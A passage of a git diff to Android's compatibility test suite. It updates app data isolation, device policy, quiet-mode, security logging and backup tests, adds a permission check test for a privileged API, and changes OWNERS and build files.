diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index 4e8cadf..bd76272 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.appdataisolation.appa;
 
+import static com.android.cts.appdataisolation.common.FileUtils.APPB_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.CE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.DE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.EXTERNAL_DATA_FILE_NAME;
@@ -26,6 +27,7 @@
 import static com.android.cts.appdataisolation.common.FileUtils.assertFileDoesNotExist;
 import static com.android.cts.appdataisolation.common.FileUtils.assertFileExists;
 import static com.android.cts.appdataisolation.common.FileUtils.touchFile;
+import static com.android.cts.appdataisolation.common.UserUtils.getCurrentUserId;
 
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
@@ -171,7 +173,8 @@
 
     @Test
     public void testAppACurProfileDataAccessible() {
-        assertDirIsAccessible("/data/misc/profiles/cur/0/" + mContext.getPackageName());
+        assertDirIsAccessible("/data/misc/profiles/cur/"+ getCurrentUserId() + "/"
+                + mContext.getPackageName());
     }
 
     @Test
@@ -181,12 +184,12 @@
 
     @Test
     public void testCannotAccessAppBDataDir() throws Exception {
-        ApplicationInfo applicationInfo = mContext.getPackageManager().getApplicationInfo(
-                FileUtils.APPB_PKG,0);
+        ApplicationInfo applicationInfo = mContext.getPackageManager()
+                .getApplicationInfo(APPB_PKG, 0);
         assertDirDoesNotExist(applicationInfo.dataDir);
         assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
-        assertDirDoesNotExist("/data/data/" + FileUtils.APPB_PKG);
-        assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.APPB_PKG);
+        assertDirDoesNotExist("/data/data/" + APPB_PKG);
+        assertDirDoesNotExist("/data/misc/profiles/cur/" + getCurrentUserId() + "/" + APPB_PKG);
         assertDirIsNotAccessible("/data/misc/profiles/ref");
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
index 5b1ec66..d209a42 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
@@ -18,6 +18,7 @@
 
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirDoesNotExist;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsNotAccessible;
+import static com.android.cts.appdataisolation.common.UserUtils.getCurrentUserId;
 
 import android.app.Service;
 import android.content.Intent;
@@ -38,7 +39,10 @@
                 assertDirDoesNotExist(applicationInfo.dataDir);
                 assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
                 assertDirDoesNotExist("/data/data/" + getPackageName());
-                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + getPackageName());
+
+                int currentUserId = getCurrentUserId();
+                assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
+                        + getPackageName());
                 assertDirIsNotAccessible("/data/misc/profiles/ref");
 
                 assertDirDoesNotExist(FileUtils.replacePackageAWithPackageB(
@@ -46,14 +50,16 @@
                 assertDirDoesNotExist(FileUtils.replacePackageAWithPackageB(
                         applicationInfo.deviceProtectedDataDir));
                 assertDirDoesNotExist("/data/data/" + FileUtils.APPB_PKG);
-                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.APPB_PKG);
+                assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
+                        + FileUtils.APPB_PKG);
 
                 assertDirDoesNotExist(FileUtils.replacePackageAWithNotInstalledPkg(
                         applicationInfo.dataDir));
                 assertDirDoesNotExist(FileUtils.replacePackageAWithNotInstalledPkg(
                         applicationInfo.deviceProtectedDataDir));
                 assertDirDoesNotExist("/data/data/" + FileUtils.NOT_INSTALLED_PKG);
-                assertDirDoesNotExist("/data/misc/profiles/cur/0/" + FileUtils.NOT_INSTALLED_PKG);
+                assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
+                        + FileUtils.NOT_INSTALLED_PKG);
             } catch (Throwable e) {
                 throw new IllegalStateException(e.getMessage());
             }
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
index c1e3a53..9229fa6 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
@@ -20,6 +20,7 @@
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsAccessible;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsNotAccessible;
 import static com.android.cts.appdataisolation.common.FileUtils.assertFileIsAccessible;
+import static com.android.cts.appdataisolation.common.UserUtils.getCurrentUserId;
 
 import android.content.Context;
 import android.content.pm.ApplicationInfo;
@@ -48,7 +49,8 @@
         assertDirDoesNotExist(replacePackageBWithPackageA(applicationInfo.dataDir));
         assertDirDoesNotExist(replacePackageBWithPackageA(applicationInfo.deviceProtectedDataDir));
         assertDirDoesNotExist("/data/data/" + APPA_PKG);
-        assertDirDoesNotExist("/data/misc/profiles/cur/0/" + APPA_PKG);
+        assertDirDoesNotExist("/data/misc/profiles/cur/" + getCurrentUserId() + "/"
+                + APPA_PKG);
         assertDirIsNotAccessible("/data/misc/profiles/ref");
     }
 
@@ -58,7 +60,8 @@
         assertDirIsAccessible(replacePackageBWithPackageA(applicationInfo.dataDir));
         assertDirIsAccessible(replacePackageBWithPackageA(applicationInfo.deviceProtectedDataDir));
         assertDirIsAccessible("/data/data/" + APPA_PKG);
-        assertFileIsAccessible("/data/misc/profiles/cur/0/" + APPA_PKG + "/primary.prof");
+        assertFileIsAccessible("/data/misc/profiles/cur/" + getCurrentUserId() + "/"
+                + APPA_PKG + "/primary.prof");
         assertDirIsNotAccessible("/data/misc/profiles/ref");
     }
 
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
new file mode 100644
index 0000000..ea741c3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appdataisolation.common;
+
+import android.app.ActivityManager;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+public final class UserUtils {
+
+    // Suppress default constructor
+    private UserUtils() {
+        throw new AssertionError();
+    }
+
+    public static int getCurrentUserId() {
+        return ShellIdentityUtils.invokeStaticMethodWithShellPermissions(
+                () -> ActivityManager.getCurrentUser());
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 8aed0cf..354bf5b 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -441,17 +441,25 @@
         mActivity.startActivityForResult(intent, REQUEST_CODE);
 
         // Look around, we should be able to see both DocumentsProviders and
-        // other GET_CONTENT sources. If the DocumentsProvider and GetContent
-        // root has the same package, they will be combined as one root item.
+        // other GET_CONTENT sources.
         mDevice.waitForIdle();
         assertTrue("CtsLocal root", findRoot("CtsLocal").exists());
         assertTrue("CtsCreate root", findRoot("CtsCreate").exists());
-        assertFalse("CtsGetContent root", findRoot("CtsGetContent").exists());
 
+        // Find and click GetContent item.
+        UiObject getContentRoot = findRoot("CtsGetContent");
         mDevice.waitForIdle();
-        // Both CtsLocal and CtsLocal have action icon and have the same action.
-        findActionIcon("CtsCreate");
-        findActionIcon("CtsLocal").click();
+        if (getContentRoot.exists()) {
+            // Case 1: GetContent is presented as an independent root item.
+            findRoot("CtsGetContent").click();
+        } else {
+            // Case 2: GetContent is presented as an action icon next to the DocumentsProvider root
+            // from the same package.
+            // In this case, both CtsLocal and CtsLocal have action icon and have the same action.
+            findActionIcon("CtsCreate");
+            findActionIcon("CtsLocal").click();
+        }
+
         Result result = mActivity.getResult();
         assertEquals("ReSuLt", result.data.getAction());
     }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
index 87e75ec..f17768d 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+patb@google.com
 toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
index a91948b..51fa279 100644
--- a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
@@ -23,6 +23,7 @@
 import android.Manifest;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.os.UserManager;
 import android.platform.test.annotations.SecurityTest;
 import android.telephony.TelephonyManager;
 import androidx.test.InstrumentationRegistry;
@@ -49,6 +50,10 @@
             PackageManager.PERMISSION_GRANTED,
             pm.checkPermission(Manifest.permission.ACCESS_COARSE_LOCATION,
             mContext.getPackageName()));
+        UserManager manager = mContext.getSystemService(UserManager.class);
+        if (manager.isSystemUser()) {
+            return;
+        }
         if (pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             TelephonyManager tele = mContext.getSystemService(TelephonyManager.class);
             try {
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/OWNERS b/hostsidetests/appsecurity/test-apps/SplitApp/OWNERS
new file mode 100644
index 0000000..f17768d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 533114
+patb@google.com
+toddke@google.com
diff --git a/hostsidetests/backup/OWNERS b/hostsidetests/backup/OWNERS
index e0e5e22..0f88811 100644
--- a/hostsidetests/backup/OWNERS
+++ b/hostsidetests/backup/OWNERS
@@ -1,9 +1,4 @@
-# Bug component: 41666
-# Use this reviewer by default.
-br-framework-team+reviews@google.com
+# Bug component: 656484
 
-alsutton@google.com
-anniemeng@google.com
-brufino@google.com
-nathch@google.com
-rthakohov@google.com
+include platform/frameworks/base:/services/backup/OWNERS
+
diff --git a/hostsidetests/backup/PreservedSettingsApp/Android.bp b/hostsidetests/backup/PreservedSettingsApp/Android.bp
index 606ab8a..404abc4 100644
--- a/hostsidetests/backup/PreservedSettingsApp/Android.bp
+++ b/hostsidetests/backup/PreservedSettingsApp/Android.bp
@@ -25,6 +25,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
     ],
     // Uncomment when b/78787392 is fixed
     // sdk_version: "system_test_current",
diff --git a/hostsidetests/backup/ProfileSerialNumberApp/Android.bp b/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
index 49ef725..fc322da 100644
--- a/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
+++ b/hostsidetests/backup/ProfileSerialNumberApp/Android.bp
@@ -24,6 +24,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
     ],
     // Uncomment when b/78787392 is fixed
     // sdk_version: "system_test_current",
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
index daad773..0034db5 100644
--- a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.bp
@@ -23,6 +23,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/backup/SuccessNotificationApp/Android.bp b/hostsidetests/backup/SuccessNotificationApp/Android.bp
index 72a00bf..d1f75f0 100644
--- a/hostsidetests/backup/SuccessNotificationApp/Android.bp
+++ b/hostsidetests/backup/SuccessNotificationApp/Android.bp
@@ -23,6 +23,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/backup/restoresessionapp1/Android.bp b/hostsidetests/backup/restoresessionapp1/Android.bp
index 51e2482..3f27294 100644
--- a/hostsidetests/backup/restoresessionapp1/Android.bp
+++ b/hostsidetests/backup/restoresessionapp1/Android.bp
@@ -26,6 +26,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/backup/restoresessionapp2/Android.bp b/hostsidetests/backup/restoresessionapp2/Android.bp
index 91b4d2f..cb3e987 100644
--- a/hostsidetests/backup/restoresessionapp2/Android.bp
+++ b/hostsidetests/backup/restoresessionapp2/Android.bp
@@ -26,6 +26,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/backup/restoresessionapp3/Android.bp b/hostsidetests/backup/restoresessionapp3/Android.bp
index 78da7bb..6c9494e 100644
--- a/hostsidetests/backup/restoresessionapp3/Android.bp
+++ b/hostsidetests/backup/restoresessionapp3/Android.bp
@@ -26,6 +26,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/bootstats/OWNERS b/hostsidetests/bootstats/OWNERS
index 1f99e96..e1a4f0c 100644
--- a/hostsidetests/bootstats/OWNERS
+++ b/hostsidetests/bootstats/OWNERS
@@ -1,2 +1,2 @@
-# Bug component: 183496
-keunyoung@google.com
+# Bug component: 184033
+keunyoung@google.com
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index d18a9fa..2f7444d 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -376,7 +376,7 @@
     private void validateDeviceIdAttestationData(Certificate leaf,
             String expectedSerial, String expectedImei, String expectedMeid)
             throws CertificateParsingException {
-        Attestation attestationRecord = new Attestation((X509Certificate) leaf);
+        Attestation attestationRecord = Attestation.loadFromCertificate((X509Certificate) leaf);
         AuthorizationList teeAttestation = attestationRecord.getTeeEnforced();
         assertThat(teeAttestation).isNotNull();
         validateBrandAttestationRecord(teeAttestation);
@@ -402,7 +402,7 @@
         assertThat(attestation).isNotNull();
         assertThat(attestation.size()).isGreaterThan(1);
         X509Certificate leaf = (X509Certificate) attestation.get(0);
-        Attestation attestationRecord = new Attestation(leaf);
+        Attestation attestationRecord = Attestation.loadFromCertificate(leaf);
         assertThat(attestationRecord.getAttestationChallenge()).isEqualTo(providedChallenge);
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index e0d362a..e6abac7 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -88,6 +88,12 @@
         mUiDevice.pressHome();
     }
 
+    public void testLockTaskIsActive() throws Exception {
+        Log.d(TAG, "testLockTaskIsActive on host-driven test");
+        waitAndCheckLockedActivityIsResumed();
+        checkLockedActivityIsRunning();
+    }
+
     /**
      * On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
      * assume it's finished. Therefore, only use it once in a given test.
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index aaa3e9b..42c03f6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -95,6 +95,8 @@
     private static final String ARG_BATCH_NUMBER = "batchNumber";
     private static final String PREF_KEY_PREFIX = "batch-last-id-";
     private static final String PREF_NAME = "batchIds";
+    // system/core/liblog/event.logtags: 1006  liblog (dropped|1)
+    private static final int TAG_LIBLOG_DROPPED = 1006;
 
     // For brevity.
     private static final Class<String> S = String.class;
@@ -402,6 +404,11 @@
         for (int i = 0; i < events.size(); i++) {
             final SecurityEvent event = events.get(i);
 
+            // Skip liblog dropped event.
+            if (event.getTag() == TAG_LIBLOG_DROPPED) {
+                continue;
+            }
+
             verifyPayloadTypes(event);
 
             // Test id for monotonically increasing.
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
index b793408..b82305a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
@@ -15,6 +15,7 @@
  */
 package com.android.cts.deviceowner;
 
+import android.app.ActivityManager;
 import android.app.PendingIntent;
 import android.content.ContentResolver;
 import android.os.Process;
@@ -107,9 +108,15 @@
      * Test: Requesting a bug report should update the corresponding timestamp.
      */
     public void testRequestBugreport() throws Exception {
+        ActivityManager activityManager = mContext.getSystemService(ActivityManager.class);
+
         // This test leaves a notification which will block future tests that request bug reports
         // to fix this - we dismiss the bug report before returning
-        CountDownLatch notificationDismissedLatch = initTestRequestBugreport();
+        CountDownLatch notificationDismissedLatch = null;
+        if (!activityManager.isLowRamDevice()) {
+            // On low ram devices we should reboot the phone after the test
+            notificationDismissedLatch = initTestRequestBugreport();
+        }
 
         Thread.sleep(1);
         final long previousTimestamp = mDevicePolicyManager.getLastBugReportRequestTime();
@@ -123,7 +130,10 @@
         assertTrue(newTimestamp >= timeBefore);
         assertTrue(newTimestamp <= timeAfter);
 
-        cleanupTestRequestBugreport(notificationDismissedLatch);
+        if (!activityManager.isLowRamDevice()) {
+            // On low ram devices we should reboot the phone after the test
+            cleanupTestRequestBugreport(notificationDismissedLatch);
+        }
     }
 
     private CountDownLatch initTestRequestBugreport() {
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
index 21e3991..f205874 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
@@ -21,6 +21,7 @@
 import static junit.framework.Assert.assertNotNull;
 import static junit.framework.Assert.assertNull;
 import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
 
 import static org.testng.Assert.assertEquals;
 import static org.testng.Assert.assertThrows;
@@ -30,7 +31,6 @@
 import android.content.Context;
 import android.content.Intent;
 import android.os.Bundle;
-import android.os.SystemClock;
 import android.os.UserHandle;
 import android.os.UserManager;
 import android.support.test.uiautomator.UiDevice;
@@ -46,8 +46,13 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
+import java.util.Set;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.stream.Collectors;
 
 /**
  * Test that runs {@link UserManager#trySetQuietModeEnabled(boolean, UserHandle)} API
@@ -147,7 +152,7 @@
         assertNotNull("Failed to receive ACTION_MANAGED_PROFILE_UNAVAILABLE broadcast", intent);
         assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
 
-        waitForUserNotRunning(30);
+        waitForUserLocked();
 
         intent = trySetQuietModeEnabled(false,
                 UserManager.QUIET_MODE_DISABLE_ONLY_IF_CREDENTIAL_NOT_REQUIRED, false);
@@ -155,15 +160,24 @@
         assertTrue(mUserManager.isQuietModeEnabled(mTargetUser));
     }
 
-    // Note: The timeout is in seconds.
-    private void waitForUserNotRunning(int timeout) {
-        for(int i = 0 ; i < 2 * timeout ; i++) {
-            if (!mUserManager.isUserRunning(mTargetUser)) {
-                break;
+    private void waitForUserLocked() throws Exception {
+        // Should match a line in "dumpsys mount" output like this:
+        // Local unlocked users: [0, 10]
+        final Pattern p = Pattern.compile("Local unlocked users: \\[(.*)\\]");
+        final long deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(60);
+        while (System.nanoTime() < deadline) {
+            final String output = mUiDevice.executeShellCommand("dumpsys mount");
+            final Matcher matcher = p.matcher(output);
+            assertTrue("Unexpected dupmsys mount output: " + output, matcher.find());
+            final Set<Integer> unlockedUsers = Arrays.stream(matcher.group(1).split(", "))
+                    .map(Integer::valueOf)
+                    .collect(Collectors.toSet());
+            if (!unlockedUsers.contains(mTargetUser.getIdentifier())) {
+                return;
             }
-            SystemClock.sleep(500);
+            Thread.sleep(500);
         }
-        assertFalse("Cannot get the profile stopped.", mUserManager.isUserRunning(mTargetUser));
+        fail("Cannot get the profile locked");
     }
 
     private Intent trySetQuietModeEnabled(boolean enabled, int flags,
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
new file mode 100644
index 0000000..ab5465e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSeparateProfileChallengeApp",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    min_sdk_version: "27",
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+	"sts",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml
new file mode 100644
index 0000000..600b5c1
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.separateprofilechallenge" >
+
+    <uses-sdk android:minSdkVersion="27"/>
+
+    <uses-permission android:name="WRITE_SECURE_SETTINGS"/>
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.separateprofilechallenge"
+                     android:label="Separate Profile Challenge Permission  CTS tests"/>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java
new file mode 100644
index 0000000..1b0378b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/src/com/android/cts/separateprofilechallenge/SeparateProfileChallengePermissionsTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.separateprofilechallenge;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+
+import androidx.test.runner.AndroidJUnitRunner;
+
+import static org.junit.Assert.assertNotNull;
+
+public class SeparateProfileChallengePermissionsTest extends AndroidTestCase {
+
+    public void testSeparateProfileChallengePermissions() throws Exception {
+        DevicePolicyManager dpm = (DevicePolicyManager)
+                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        assertNotNull(dpm);
+        try {
+            dpm.isSeparateProfileChallengeAllowed(0); /* Try to use USER_SYSTEM */
+            fail("The user must be system to call isSeparateProfileChallengeAllowed().");
+        } catch (SecurityException ignore) {
+            // That's what we want!
+        } catch (NoSuchMethodError err) {
+            // API unavailable - pass
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
old mode 100644
new mode 100755
index fde13d2..f9817ec
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
@@ -61,7 +61,7 @@
             removeTestUsers();
             mParentUserId = mPrimaryUserId;
             mProfileUserId = createManagedProfile(mParentUserId);
-            startUser(mProfileUserId);
+            startUserAndWait(mProfileUserId);
 
             // Install the APK on both primary and profile user in one single transaction.
             // If they were installed separately, the second installation would become an app
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 1a1da1f..d38a86f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -1230,6 +1230,9 @@
             // Wait for the LockTask starting
             waitForBroadcastIdle();
 
+            // Make sure that the LockTaskUtilityActivityIfWhitelisted was started.
